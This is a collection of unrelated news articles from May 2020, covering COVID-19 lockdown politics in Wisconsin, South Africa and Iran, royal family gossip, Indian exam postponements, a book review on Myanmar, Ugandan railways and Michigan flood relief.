Amid the coronavirus pandemic, many of those who are running for public office have held outdoor events or gathered signatures by mail, rather than collecting signatures by going door-to-door as is normally done, to ensure their nomination petitions are filled out with enough voters signatures.

Statewide order overturned

The statewide Safer at Home order was overturned on May 13 by a 4-3 vote by the Wisconsin Supreme Court. Republican-appointed justices were responsible for the decision.

State Attorney General Josh Kaul and Letteney said afterwards that local orders were still legal if there was an ongoing public health emergency in a specific locality.

Pull Quote The local orders unlawfully interfere with plaintiffs rights to work and to worship, to gather and assemble, in violation of their Federal Constitutional Rights. Lawsuit against Dott-Kay Bowersox and other state officials

Last week, Letteney argued that the Supreme Courts ruling on the statewide order did not declare that the order itself was unconstitutional, just the way it was implemented by the Department of Health Services.

The courts decision did not say anything about what a local health officer may do under Wisconsin Statute section 252.03 or under any other law, Letteney said.

Ryan Nilsestuen, the governors legal counsel, said that he is optimistic that this lawsuit will go nowhere. Heading into the Supreme Court hearing earlier this month, Nilsestuen had expressed confidence that DHS would win the case; he was later proven wrong when four justices sided with the Republican-led Legislature.

Local situation

Only a handful of local Safer at Home orders remain in place statewide, including in the cities of Racine and Milwaukee, and in Dane County. On May 18, Dane County announced its plans to roll back its order.

The City of Racine plans to release an outline before the end of the week o how it will begin allowing businesses to reopen.

Kenosha County, as well as several other municipalities, repealed its order after consulting with an attorney soon after the Wisconsin Supreme Court decision.

Racine Council OKs extension of emergency declaration; mass gatherings restricted through July 31

Confirmed cases of COVID-19 are rising in the City of Racine faster than the rest of the state, with more than 550 cases and five deaths in the city alone. The rate of increase in the greater Racine area ranks among the top 25 in the nation, according to data compiled by The Upshot and The New York Times.

On Tuesday, the City of Racines emergency health declaration was extended until July 31 by the City Council per request of Mayor Cory Mason, as was a restriction on mass gatherings that need to be approved by the city per order of Bowersox.

The first day of free coronavirus testing at Festival Hall, in photos

The first day of free coronavirus testing at Festival Hall, in photos
When Prince Harry and Meghan, Duchess of Sussex announced their plans to step back from their royal duties, they stunned the world. Queen Elizabeth ultimately supported their decision and they came to an agreement, which included fulfilling their desire to be financially independent after their exit. One source believes that the couple may end up getting financial assistance from Prince William and Catherine, Duchess of Cambridge at some point, if needed.

Prince William, Meghan Markle, Kate Middleton, and Prince William | CHRIS JACKSON/AFP via Getty Images

Prince Harry and Meghan announced their plan to step back

In January, Prince Harry and Meghan dropped their announcement to step back from their royal duties, taking to Instagram to explain their plan.

After many months of reflection and internal discussions, we have chosen to make a transition this year in starting to carve out a progressive new role within this institution. We intend to step back as senior members of the Royal Family and work to become financially independent, while continuing to fully support Her Majesty The Queen, they explained at the time.

They continued, It is with your encouragement, particularly over the last few years, that we feel prepared to make this adjustment. We now plan to balance our time between the United Kingdom and North America, continuing to honour our duty to The Queen, the Commonwealth, and our patronages. This geographic balance will enable us to raise our son with an appreciation for the royal tradition into which he was born, while also providing our family with the space to focus on the next chapter, including the launch of our new charitable entity.

RELATED: Why Prince Harry, Meghan Markle, Prince William, and Kate Middletons Fab Four Team Was Impractical and Failed, According to Royal Expert

They officially exited the family

The queen worked to iron out the details of the Sussexes exit, which required them to give up their HRH titles and any public funding as they set off to live a life out of the spotlight.

The queen issued a statement at the time that reflected her support. Harry, Meghan and Archie will always be much loved members of my family. I recognise the challenges they have experienced as a result of intense scrutiny over the last two years and support their wish for a more independent life, she shared in her statement.

The statement continued: I want to thank them for all their dedicated work across this country, the Commonwealth and beyond, and am particularly proud of how Meghan has so quickly become one of the family. It is my whole familys hope that todays agreement allows them to start building a happy and peaceful new life.

Will Prince William and Kate give the Sussexes financial assistance?

It remains to be seen how exactly Prince Harry and Meghan will earn an income but, according to a report from The Talko (via Express), Prince William and Kate could step in to help, if the Sussexes need financial assistance.

Prince Harry and Meghan Markle may be stepping down from their royal duties but they are still part of the family. They are giving up a significant source of income and its expected that Prince Charles will privately subsidize their lifestyles, the report noted.

When Prince William inherits the rights to the Duchy of Cornwall when Prince Charles ascends the throne, its likely that [William] and Kate will be responsible for helping out Harry and Meghan if they need it, the report added.
The Staff Selection Commission (SSC) has once again postponed the announcement of various examinations due to the prevailing situation arising out of the COVID-19 pandemic

The Staff Selection Commission (SSC) has once again postponed the announcement of various examinations due to the prevailing situation arising out of the COVID-19 pandemic. The commission said that it will be accessing the situation on 1 June before taking the decision on announcing the exam schedule.

According to a report by The Times of India, the SSC Combined Higher Secondary (10+2) Level Examination (Tier-I) 2019, Junior Engineer (Paper-I) Examination, 2019, Stenographer Grade C & D Examination, 2019 and Skill Test for Combined Higher Secondary Level Examination, 2018 have been postponed due to COVID-19 lockdown.

The COVID-19 lockdown 4.0 will be effective till 31 May.

A report by Hindustan Times said that SSC was earlier scheduled to announce the revised dates for the exams after assessing the situation after 3 May.

SSC CHSL Tier 1 exam was initially scheduled to be conducted from 16 to 27 March. SSC Junior Engineer exam was to be held from 30 March to 2 April, while the SSC Stenographer exam was to be conducted from 5 to 7 May.

SSC will release the revised exam dates if the situation improves. Candidates have been advised to visit the official website - ssc.nic.in for updates and information.

A report by NDTV said that apart from recruitment examinations, the COVID-19 lockdown has also affected SSC recruitments that were supposed to be announced this year.

Earlier this month, the SSC said that apart from its official website, all updates of the commission will also be made available on Unified Mobile Application for New-age Governance (UMANG) app of the Ministry of Electronics and Information Technology (MeitY).
SEOUL, KOREA, May 22, 2020 - (ACN Newswire) - Suprema, a global leader in access control and biometrics for physical security, officially announces the formation of Suprema Europe SARL, which has been established to provide partners and customers in the region with better localized support.Formerly Suprema France SARL, Suprema Europe SARL will provide direct supply products and services to European partners. Suprema Europe has been granted an additional capital and will maintain products in stock and a technical support hotline in Europe. This will help Suprema partners grow further with better services available in Central European Time.Given the global pandemic and increased demand for touchless access solutions, Suprema is experiencing high demand for contactless solutions such as RFID solutions, mobile access cards and facial recognition readers.For more information on Suprema products and solutions, please visit https://www.supremainc.com/en/wheretobuy/list.asp.About SupremaSuprema Inc. is a leading global provider of security and biometrics technologies. Suprema's extensive range of products includes biometric access control systems, time and attendance solutions, mobile authentication solutions and embedded fingerprint solutions. Suprema has No.1 market share in biometrics access control in EMEA region and has worldwide sales network in over 130 countries. For more information, please visit www.supremainc.com.Press Contact:Chloe KimManager of Marketing, Suprema Inc.Email: jskim4@suprema.co.krSource: SupremaCopyright 2020 ACN Newswire . All rights reserved.

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Guest Column Personal Histories Behind the Headlines of Modern Myanmar

Downtown Yangon is seen in a long-exposure shot during the rainy season in 2018. / Htet Wai / The Irrawaddy

It is Myanmars good fortune to have been the birthplace of such human treasures as UN Secretary General U Thant and national hero General Aung San, although their public successes have invited misfortunes upon their families.

Through the witness of U Thants grandson, Thant Myint-U, the well-known author and historian, one can clearly see Myanmars political landscape shaped by the delicate realities of the personal stories U Thant and his family left behind, even as Gen. Aung Sans daughter Daw Aung San Suu Kyi took a different route into activism and politics.

This review focuses on Thant Myint-Us new book The Hidden History of Burma, (2020), but the underlying personal histories of U Thant and Gen. Aung San provide the background for the story he tells about both his personal involvement as an adviser to President U Thein Seins government, and his engagement with the National League for Democracy (NLD) and Daw Aung San Suu Kyi.

Thant Myint-U recalls his childhood memory of people lining the streets from the airport in Yangon (then Rangoon) to pay respect to U Thants coffin draped in a UN flag. As U Thant was refused a state funeral by the Ne Win regime, the coffin was seized by Buddhist monks and students and taken to Rangoon University. Such memories are indelible for the young grandson, though the American-raised boy had only a vague idea of what was really happening. But this was just the first engagement U Thants grandson was to have with dramatic events in Myanmar. The events of 8.8.88 caught his attention, and he was to be involved professionally with the response to Cyclone Nargis, and the transition from military rule to semi-democracy after 2011.

The 1974, the U Thant strike was a significant moment for the Rangoon university students and Buddhist monks, with their sentimental attachment to a world figure such as U Thant. General Ne Win considered U Thant an enemy of the state for failing to stop former prime minister U Nus call (announced in 1969 via the UN press corps in New York while U Thant was on a mission to Africa) to overthrow the Ne Win government; the incident is described in another of Thant Myint-Us books, The River of Lost Footsteps (p.311). The Ne Win regimes neglect of U Thants funeral was disrespectful and made his fellow Burmese angry. Gen. Ne Win in turn took violent action against the students, killing hundreds and throwing many into prison. U Thants family, including his 8-year-old grandson, was ordered to leave the country after the quiet funeral.

Though he grew up abroad, Thant Myint-U was never far from Myanmar, as he occasionally visited Yangon. When he heard about 1988 uprising in Myanmar, he was interning at the UN when the call to rise up reached him. I didnt want to miss my chance to be part of the big change, so I quit my internship and flew to Bangkok, he writes. But on the day he was going to fly to Yangon, the Yangon airport was shut down by a general strike.

Denied the chance to take part in the movement inside Myanmar, he instead raised money for the young Burmese who fled into the forest to escape Myanmars military rule. He organized advocacy campaigns in Washington and London as he sought a strong response from the Western democracies to support the nascent democracy movement, impose economic sanctions, and shame and ostracize the new junta to the maximum extent possible.

Because he describes the 1988 peoples uprising from the perspective of an outsider, the feelings of people from all walks of life during the uprising are missing from his book. Though Daw Aung San Suu Kyi called it the second independence movement, Thant Myint-U touches on the history of that critical movement as lightly as a birds feather.

Famously, of course, Daw Aung San Suu Kyi, the daughter of Gen. Aung Sanwho was assassinated by a jealous rival, as Thant Myint-U describes itwas in Yangon to look after her ill mother in 1988. With her first public speech during the uprising in August of that year, her new life as a politician began. In her first personal letter to the nation in August 1988, she declared that the main goal of her participation in Myanmar politics is to strive for the entrenchment of a political system that would be beneficial to the people.

Thant Myint-U takes this as his starting point in writing about how ordinary Burmese see Daw Aung San Suu Kyi and her sacrifice, leaving her own family for the sake of the people of Myanmar: She was the only one steadfast and selfless enough to take down the military dictatorship.

Relationship with the junta

In an opinion piece published in the International Herald Tribune in 1997 headlined, Please Use Your Liberty to Promote Ours, Daw Aung San Suu Kyi called upon those who have an interest in expanding their capacity for promoting intellectual freedom and humanitarian ideals to take a principled stand against companies that are doing business with the Burmese military regime. Please use your liberty to promote ours.

Calling for Western sanctions of course made Daw Aung San Suu Kyi an enemy of the generals running the state. Western governments, including those of the EU and the US, adopted sanctions including arms embargos, asset freezes, travel bans, import bans and restrictions on financial transactions.

Thant Myint-U, however, felt uneasy about his advocacy campaigns for aid restrictions and sanctions on Myanmar, partly because of unintended humanitarian consequences.

I felt anything that pulled the country out of its shell was a good thing, including the right kind of trade, investment, and even tourism.

After he wrote a PhD dissertation and a book, The Making of Modern Burma, he was allowed to visit Myanmar for the first time in eight years in 1996. When he finished his second book on Burmese history, The River of Lost Footsteps (2006), he began to see clearly that the roots of Burmas problem lay not just in its military dictatorship but in the peculiar nationalism that had led to war, isolation, and impoverishment. When he began writing op-eds opposed to sanctions, the regime grew curious about him.

Thant Myint-U was invited to the countrys new capital, Naypyitaw, a month after the September unrest in 2007 known as the Saffron Revolution. He met high-ranking government officials who were also military generals. In The Hidden History of Burma he recalls one such meeting: The general told me he was meeting me on the express authority of [Senior General] Than Shwe himself. At his first meeting, he remembers thinking that the generals had little understanding of Western politics or policy-making and describes them as being always fearful that the world was ganging up on them.

Disaster diplomacy

Thant Myint-U describes the Cyclone Nargis catastrophe from day one, focusing on an anecdote about one cyclone-affected family out of the more than 2 million families in urgent need. But the big picture he actually presents is about the juntas reluctance to accept Nargis emergency relief offered by the US government. Prominent news headlines frightened the generals with the threat of humanitarian intervention. With a huge expectation of regime change, local people were excited to hear the news that French and British navy vessels had joined US Navy ships in the Andaman Sea, waiting for permission to enter.

But what was a good-faith offer of emergency help seemed to the Burmese authorities like their worst nightmares come true, Thant Myint-U observes.

By this time Thant Myint-U had experience in judging such situations. He had worked on and off for the United Nations on peacekeeping operations in Cambodia and the former Yugoslavia. At the UNs headquarters, he learned how international diplomacy worked and the limitations of the global institutions. He has long been aware that Western countries can act irresponsibly.

The West was not seriously thinking of starting a major conflict in Southeast Asia. Taking responsibility for a poor country of fifty million, with hundreds of ethnicities, dozens of armed groups, and little state infrastructure other than the Burmese army itself, was never in the cards, he explains, despite the fact that the bravado expressed in the international press seemed to make this case.

During the Nargis disaster response, Thant Myint-U asked critical questions of those who called for forceful action from the UN Security Council under the new doctrine of responsibility to protect.

Was it time to use force to help the victims of Nargis?Could it be right to use military force to speed up the delivery of aid? Did it matter that thousands of lives were at stake? Or a million lives? Using force against the Burmese militarysay, to secure parts of the delta, as some were suggestingwould effectively mean war. For Thant Myint-U, it was an ethical dilemma, and one the West understood poorly. What is more, such threats, created for the consumption of Western audiences, sent a chill through the regime, making the generals wary of the gifts proffered.

In this context, disaster diplomacy between Myanmar and the international community, which began with agreements to accept international aid, soon broke down. Later the government agreed to accept an ASEAN-led operation supported by the UN and other international agencies. This led to UN Secretary General Ban Ki-moons visit to Myanmar to meet with Snr-Gen Than Shwe. This was the first time a UN Secretary General had visited Burma since U Thants official visit in 1964. It was hoped that the natural disaster that was Nargis would be a breakthrough for Myanmar, dragging it back into the international community.

Kingmakers vs. devils advocate

Under military rule, Myanmar was run not only by the military regime but also by rich businessmen affiliated with corrupt army officers in something like an oligarchy.

Thant Myint-U highlights the key players in Myanmars political landscape around 2010, especially those who had close relationships with the generals.

One of the key players he portrays is U Nay Win Maung, businessman, magazine publisher, and founder of think tank group Egress. The author also offers biographical sketches of U Nay Win Maungs founding partners, U Tin Maung Than and U Hla Maung Shwe, successful businessmen from the fisheries industry.

Egress was set up with the aim of influencing regime policy. As U Nay Win Maungs parents were lecturers at the Defense Services Academy, he had good access to senior military officials including Thura Shwe Mann, a general who occupied the fourth-highest position in the military regime.

Thant Myint-U describes regular communications between U Nay Win Maung and Thura Shwe Mann before the 2010 elections in detail. Shwe Manns son sat in Egress classes and sent taped recordings of the lectures to his father.

U Nay Win Maung probably wanted to play a kingmaker role in the 2010 elections. His think tank Egress was heavily involved in the election campaign, while the NLD called for a boycott.

Than Myint-U observes that U Nay Win Maung was discouraged after learning that U Thein Sein was chosen as president. I remember many discussions with him over the preceding months on likely presidential picks. None had included Thein Sein as a possibility, Thant Myint-U explains.

Later, Thant Myint-U was invited to meet senior military men as well as U Thein Seins coordinating ministers, U Aung Min and U Soe Thane, for the first time. They asked Thant Myint-U to be involved and give them ideas on how best to engage with the West.

He was then officially appointed to the presidents advisory team, the National Economic and Social Advisory Council, where he began playing the role of devils advocate.

Thant Myint-U came to work closely with U Soe Thane, whom he credits for being keen to bring the country as close to the West as possible. He even joined U Soe Thane on an official trip to Norway and accompanied the president on a trip to London where he helped U Soe Thane write speeches and generate talking points.

In this context, Thant Myint-U portrays U Thein Sein as a loyal public servant. For him, the military past was something to be proud of, not rejected. He was not seeking to overthrow an evil system. He wanted only to improve on what he saw as the decent legacy of the old regime, he writes.

The split between President U Thein Sein and Lower House Speaker Thura Shwe Mann became serious in 2013. Daw Aung San Suu Kyi, who had been elected to Parliament in a by-election, built close ties with Thura Shwe Mann. Thant Myint-U remarks, there was good personal chemistry, something Aung San Suu Kyi never had with Thein Sein. The political honeymoon period of U Thein Sein and Daw Aung San Suu Kyi soon ended.

Although Thant Myint-U gained the trust of President U Thein Seins government, he lost the trust of Daw Aung San Suu Kyi despite a very friendly meeting with her soon after she was released from house arrest. Though he tried several times to meet her again, his attempts failed. He assumes, likely because some around her felt that I had become too close to a presidential team she no longer trusted.

House of cards: Peace or a play?

It is perhaps odd that the cosmopolitan Thant Myint-U became closer to U Aung Min, an introverted former intelligence officer who spoke next to no English, had never been to the West, and who always looked for tactical advantage.

U Aung Min told him after a meeting with the leaders of ethnic armed groups, I may not know much, but I know how to deal with a man who has a gun in one hand and a bottle of whiskey in the other.

He continued, Aung Mins instincts were to show that he was different from past generals and to open the door as wide as possible to outside help. My instincts were to be very careful in not allowing the global peace-building industry to gain too big a foothold. I had seen from my perch at the UN in New York too many well-meaning efforts based on far too little local knowledge.

As a historian though, Thant Myint-U well recognizes how colonial legacies have led to territorial disputes and a divided society. Those legacies are at the heart of the problems in Myanmars politics, he writes.

Thant Myint-U also watched the rise of identity politics during Myanmars so-called transition. This was no coincidence. In the absence of other ideologies or agendas, identity-based mobilization was an obvious way to gain political advantage. Troublemakers saw the value in setting communities against one another.

Thant Myint-U finds that the peace process initiated by President U Thein Seins government had no real strategy for how a state could be knitted together. Instead he saw much use of the word trust and a free flow of whiskey.

He realized that the more the peace process became the flagship of Burmas reform drive, the more it was the men with guns who held the cards.

Thant Myint-U was disappointed with the situation he faced after spending lot of time at the Myanmar Peace Center and on the Beyond Ceasefire Initiative. People in the government saw him as an outsider, someone who had lived most of his life overseas.

Thant Myint-U was in a difficult position by this time. He had earned the trust of neither the pro-U Thein Sein group nor the pro-Daw Aung San Suu Kyi group. But it should be remembered that the author is first and foremost a historian and an academic, not a politician.

Thant Myint-U has never failed to do his duty, providing an impartial view for the betterment of the nation that produced his grandfather. Myanmar is still fortunate to have the descendants of national heroes U Thant and Gen. Aung San engaged in academia and politics. Neither lost sight of the trail blazed by their predecessors, though as Thant Myint-Us new book highlights, they have charted their own courses toward a still unseeable future.

Mon Mon Myat is an author and a PhD Candidate in the Peacebuilding Program at Payap University in Chiang Mai, Thailand.

This article refers to Thant Myint-Us The Hidden History of Burma: Race, Capitalism, and the Crisis of Democracy in the 21st Century (New York: W. W. Norton & Company, Inc, 2020).

You may also like these stories:

COVID-19 Response a Chance to Reimagine Myanmars Future

Confessions of Two Military Men Illustrate the Myth of One Voice

Megaprojects a Double-Edged Sword for Myanmar
Source: Xinhua| 2020-05-22 18:15:08|Editor: huaxia

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by Ronald Ssekandi

KAMPALA, May 22 (Xinhua) -- Bellowing out smoke, a locomotive pulling dozens of containers arrives in Uganda's capital Kampala after a journey spanning hundreds of kilometers from neighboring Kenya.

Along the way, the train picked and dropped containers at various railway stations dotting the over 100-year-old network that links Uganda to the Kenyan seaport of Mombasa.

Railway transport has lived Uganda's political history that has been punctuated by wars which at times brought the transport means to a grinding halt. Over the years, Uganda and Kenyan governments have given out concessions to companies in efforts to revamp the century-old railway network.

Kenya now has a modern railway, the Chinese funded and constructed Standard Gauge Railway (SGR). Uganda is also negotiating with China to finance the extension of the SGR to the capital Kampala and in the long run to its borders with South Sudan, Democratic Republic of Congo, and Rwanda.

As the negotiations proceed, Uganda is also resorting to revamping its old meter-gauge railway line. The country's president Yoweri Museveni in his various speeches, lately, has emphasized the need to revamp the line.

The outbreak of the COVID-19 pandemic has pushed the urge to have the network fully operational. Uganda's COVID-19 cases have been pushed up by the high number of cross border cargo truck drivers who turn positive for the virus. This has caused a public uproar to have the drivers blocked from accessing the country, but President Museveni insists that cargo must move to keep the economy alive in the face of the pandemic's negative impact.

Museveni has argued that increasingly cargo should be shifted from road to railway transport, which is cheaper and also reduces the impact that trucks have on the wear and tear of the road network in the country.

"A net ton of goods from Mombasa to Kampala by road is 13 U.S. cents while by rail, it is seven cents. Therefore, we, in Uganda, are going to repair the old railway line as we plan to build the new one, the Standard Gauge Railway," the president said on May 4.

He said the key issue to address now is the availability of locomotives.

Following the president's directive, National Enterprise Corporation, the commercial arm of the Ugandan military has started bush clearing, screening and maintenance of two sections of Malaba-Kampala railway line totaling 100 km and the 375.4 km northern railway line linking Tororo to Gulu.

In October 2018, Uganda secured 21.6 million Euros from the European Union (EU) to help rehabilitate the 375 km railway line from the eastern border district of Tororo to the northern district of Gulu.

Uganda, according to the finance ministry, pledged to top up 13.1 million Euros to rehabilitate the railway line that has been out of service since 1993, when there was insurgency in northern Uganda.

The Tororo-Gulu railway line used to be a pivotal economic artery along the East African Northern Corridor linking the Kenyan seaport of Mombasa and eastern Uganda to northern Uganda, as well as neighboring South Sudan and Democratic Republic of Congo.

Matia Kasaija, finance minister described this part of the railway line, Gulu-Tororo, as critical to the country's oil sector because of its proximity to the Albertine Graben, which has the oil wells.

"The railway project shall benefit from transportation of equipment and inputs for the construction and operations of the oilfields given the bulky nature of oil equipment," Kasaija said on October 18, 2018 as he signed the financing agreement with EU.

Economic experts are optimistic that once Uganda's commercial oil production starts, it will stimulate economic growth to beat the negative impact of COVID-19.

The railway line linking Tororo to the capital Kampala is operational. Katumba Wamala, minister of works and transport on May 21 told reporters that Cabinet approved a loan of 300 million Euros, part of which, would be used to rehabilitate this line.

Katumba also said government has revived the 9 km Southern Route which links Port Bell, a port on the shores of Lake Victoria, to the capital Kampala. Goods from the Tanzanian port of Mwanza are transported on water and when they reach Port Bell, they are loaded onto a train to the capital Kampala.

Government also plans to revamp the line linking the capital Kampala to the country's border district of Kasese. Kasese borders mineral-rich eastern DRC. Enditem
8 Christians arrested in India while preparing relief packages for the poor

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Eight Christians were arrested in India in late April and accused of violating a coronavirus lockdown order while they were putting together relief supplies to distribute to a poor nomadic community, a pastor says.

Pastor Ramesh Kumar told the nonprofit persecution news organization Morning Star News that he and three other members of his church in the Kaushambi District of Uttar Pradesh were preparing aid packages in a local home for distribution when they were detained by police along with four others who were helping them on April 25.

Along with the 32-year-old pastor and church members Shri Chand, Rakesh Kumar and Mohit Kumar, police arrested the homeowners three sons and their cousin, who were not members of the pastors church.

Before they detained us, the policemen used vulgar language and beat me, Rajendra and Rakesh with clubs, Kumar was quoted as saying. Rakesh sustained an injury on his hand and developed swelling because of the beating.

According to the pastor, the police accused the group of violating a social distancing order by holding a worship meeting. Kumar said that the officers acted on a complaint from locals and ignored his plea to speak with the head of the village to explain that they were not participating in a worship service.

Kumar insisted that he and the others were responding to a call by Prime Minister Narendra Modi for people to help out poor families throughout India. Even though Pastor Kumar pleaded for the homeowners sons and their cousin to be released, they were also arrested and taken to Sarai Akil police station.

Morning Star News reports that the eight men were booked for the crimes of negligent acts likely to spread infection of disease dangerous to life and disobedience to order duly promulgated by public servant.

While at the police station, the men were reportedly threatened with more beatings. Kumar said one officer asked him about where he got the money for the relief materials. Kumar said he was asked questions like, Where does the money come from to lure people to convert? and From which country do you get foreign funds?

Kumar contends that the money for the materials and food items came from a pool of cash created by several families from his church.

The police officer persisted with the allegation that I receive funds from abroad and convert people by paying them huge monetary sums, Kumar was quoted as saying.



The group obtained permission to distribute the relief materials to the local nomadic community from the head of Kakrahia village, who told Morning Star News that lawmakers and other groups have even been allowed to distribute food there without objection.

It wasnt until the head of Kotiya village arrived at the police station that the detained men were released. Kumar said that they were told no charges would be pressed against them. However, police still registered a case against them the next day.



When I called the police station the next day, we were shocked to know that a case has been registered against us, Kumar told Morning Star News. The policeman on the phone said that there is a lot of pressure from the authorities to file a complaint against us.

The Christians arrest was confirmed to the news outlet by a representative of the Sarai Akil police station, who claimed that 10 to 12 people were found praying inside a room.

We had information that they had gathered and were praying, and we reached the spot and arrested them, the representative of the police station told Morning Star News, adding that the investigation is still ongoing and that charges have not officially been filed.

India ranks as the 10th worst country in the world when it comes to Christian persecution on Open Doors USAs 2020 World Watch List.

Since the ruling Bharatiya Janata Party came to power in 2014, there has been a dramatic increase in radical Hindu extremism targeting Christian and other religious minority communities.

In the early months of 2020, the quantity and severity of attacks on Christians in India have continued to escalate. The United Christian Forum in India has documented at least 56 threats against Christians as well as 78 incidents of violence that occurred between January and March of 2020.



A watchdog initiative led by ADF India reported last year that there were over 1,400 incidents of persecution against Christians in India since 2014.

In April, the U.S. Commission on International Religious Freedom recommended that the State Department list India as a country of particular concern for engaging in or tolerating systemic and egregious violations of religious freedom.



Additionally, dozens of Aid groups have called on President Trump and the World Bank Group to hold the Indian government accountable after reports surfaced that many Christians and other non-Hindus were being denied government-issued food rations.

Specifically, many are being left out of the programs created to help the people during this crisis, Federation of Indian American Christian Organizations Chairman John Prabhudoss told CP. Obviously, there are several systemic flaws in the Hindu nationalist government's approach to the problem.
Source: Xinhua| 2020-05-22 18:58:00|Editor: huaxia

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CAPE TOWN, May 22 (Xinhua) -- A national lockdown in South Africa has served its purpose and that it is now time to reopen the economy despite a surge in COVID-19 cases, a senior govenrment official told Parliament on Friday.

The government is finalizing consultations with different stakeholders on how to systematically reopen industries and get the economy back to work, Lionel October, director-general of the Department of Trade, Industry and Competition, said while briefing Parliament's Portfolio Committee on Trade and Industry on measures to reopen the economy.

A large part of the economy is expected to reopen as the country moves to level three of the lockdown next month, October said.

South Africa eased the lockdown, imposed on March 27, from level five to level four on May 1, allowing certain businesses to resume operations.

Despite the rapid spread of the pandemic, there have been growing calls for further easing the lockdown to level three, which will allow more businesses to reopen and greater movement of people.

On Thursday, South Africa reported 1,134 new confirmed COVID-19 cases, the highest daily record since the country recorded its first case in early March. With the newly-added cases, the total number of confirmed COVID-19 cases in South Africa stood at 19,137, the highest on the African continent.

Although the lockdown has had devastating effects on the economy, it has achieved its objectives, allowing the country to prepare for an increase in cases of COVID-19, October said.

The World Health Organization has advised that the rate of infection must first fall before countries can start relaxing lockdown.

October said industries will be required to ensure worker safety and protection as a condition to return to business and companies which do not put safety measures in place will be forced to close.

South Africa's economy, like many others across the globe, will no doubt contract quite seriously as a result of the impact of COVID-19, he said.

As part of interventions to keep industries afloat during this difficult period, October said, the government is assisting companies in distress through funding and has also made significant investments assisting companies manufacturing protective equipment.

"The procurement is done by the departments of health and education. Our role is to mobilize the industry to make sure it is able to produce and protect jobs," he said.

Also on Friday, President Cyril Ramaphosa held a virtual engagement with stakeholders in tourism on plans to sustain the sector affected by lockdown restrictions on the movement of people and the closure of the country's borders.

The meeting followed the president's consultations in recent days with the National Economic Development and Labor Council, leaders of South Africa's interfaith communities and leaders of political parties represented in Parliament, on the country's move to level three of the lockdown.

These consultations enable the government to share its plans and outlook with stakeholders who are given the opportunity to table concerns and proposals that enable effective partnerships between the government and the social partners in efforts to protect lives and livelihoods alike, Ramaphosa's office said. Enditem
Amid ever-increasing number of infections, Deputy Health Minister Iraj Harirchi on Friday once again called on Iranians to stay home during the Eid Al-Fitr holiday to prevent the spread of coronavirus.

Many Iranians who will be celebrating the end of the fasting month are planning to travel to other cities or visit family members on the occasion of the holiday.

The day of Eid al-Fitr depends on the sighting of the new moon by naked eye which is most likely to fall on Sunday for Iranians this year.

"The main factor in the spread of coronavirus is increased contact with others," Dr. Iraj Harirchi said and pleaded with people not to put their own and other people's lives in danger. "Traveling to epidemic red zones endangers our own lives while going to white zones put the lives of the people of those cities in danger," he said.

For the first time in the history of the Islamic Republic, the Eid prayers have been cancelled in most major cities including Tehran where the Supreme Leader Ali Khamenei usually leads the congregation and delivers a sermon.

Even in cities and towns designated as white zones, the prayers have been limited to small congregations while in Khuzestan Province prayers and all other gatherings are banned altogether.

According to the Islamic Republic News Agency (IRNA), authorities in Bagh-Malek, a city in Khuzestan Province, have arrested a religious speaker for attending a funeral ceremony and delivering a speech. "People's health is our red line and we will show no leniency about this," the Public Prosecutor of Baq- Malek declared.

Also for the first time, anti-Israeli Qods Day rallies planned for the last Friday of Ramadhan were canceled and replaced with a televised speech by Supreme Leader Ali Khamenei.

According to the latest official announcement, the number of COVID-19 cases in Iran has passed the 130,000 mark and reached 131,352 with 2,311 new cases since Thursday. The number of deaths that has dropped to 40 on May 18 after seventy days has slightly increased again with 51 more deaths registered on Thursday.
Jennifer Cook had not seen her dying sister for three years when she boarded a plane to fly to Melbourne to care for her in her final days.

Instead of being by her cancer-stricken sister's side, Ms Cook, who arrived from California on Monday, has spent most of her time alone in a hotel room, where she is being kept in strict quarantine.

Robyn Becker, pictured with her daughter Alex, reaches out to her sister Jennifer Cook. Credit:Chris Hopkins

Robyn Becker, 68, who is in the final stages of terminal breast and gastric cancer, fears she may die before her sister's 14-day quarantine ends on June 1.

"When I was in the hospital, I was told I had hours to weeks to live," Ms Becker said. "That was last Wednesday. It is stretching us both. I dont know how much longer I have."
In the days and weeks ahead, the people of Edenville, Sanford and Midland will be navigating through situations they have never experienced.

They will clean up from devastating floods. They will continue to need emergency food and shelter. They will begin to look to the future.

In Sanford, people got a grim picture while assessing damage to their homes and businesses near the downtown, which was under water earlier this week.

"We essentially lost every business in downtown Sanford, and every home in the village is flooded," Meridian Public School Superintendent Craig Carmoney said on Friday morning. "Pictures don't do it justice. You really can't put it into words." Read more about how you can help Sanford families.

The damage is unimaginable: Downtown Sanford businesses destroyed. Residents on Wixom Lake are turning to each other as they begin recovery efforts: Wixom Lake residents rely on each other.

Damage reports

Midland County Emergency Management is taking damage reports from the flooding in Midland County. Homeowners, businesses and non-profit organizations that has sustained any damage or loss as a result of the flood can complete a report at https://arcg.is/1H00aG.

The Midland Damage Assessment app was developed for people to self-report damage to their property. The app has several questions to help the Midland Damage Assessment team determine the extent of damage in our community, a press release states.

Once you click the link, you will be directed to a map. Enter the address and search for the damaged property. The app will zoom to the property if it is found and a pop-up box will appear. Link to the online form to report flood damage.

It should not take more than 5-10 minutes to complete and submit the information. If you do not have access to the internet, contact 2-1-1 and they will assist you in completing the form.

Donations

The Herbert H. and Grace A. Dow Foundation announced two grants to United Way of Midland County to serve the residents of Midland County, including $500,000 as a matching grant to support flooding crisis recovery. The foundation will provide a dollar for dollar match for the first $500,000 donated to the flooding crisis recovery. Learn more about the Rise Together Fund.

Dow and the Dow Company Foundation announced $1 million in financial support for immediate relief and long-term recovery efforts.

DuPont on Friday committed $100,000 to support the Midland community in its relief and recovery efforts.

Molina Healthcare will donate $100,000 for flood relief efforts.

The Consumers Energy Foundation announced nearly $90,000 in grants to assist emergency relief efforts in Midland, Saginaw and Gladwin counties.

How to help

United Way of Midland County and the Midland Area Community Foundation are coordinating volunteer efforts. All relief efforts, including the donations of supplies, food, water, and monetary funds, must be coordinated through 211 Northeast Michigan and the United Way of Midland County.

Individuals and organizations who wish to donate supplies should visit www.reliefmidland.org and register their available items for coordination by emergency response staff. Individuals wishing to sign up for volunteer opportunities related to flooding events should also register at this website.

More news:

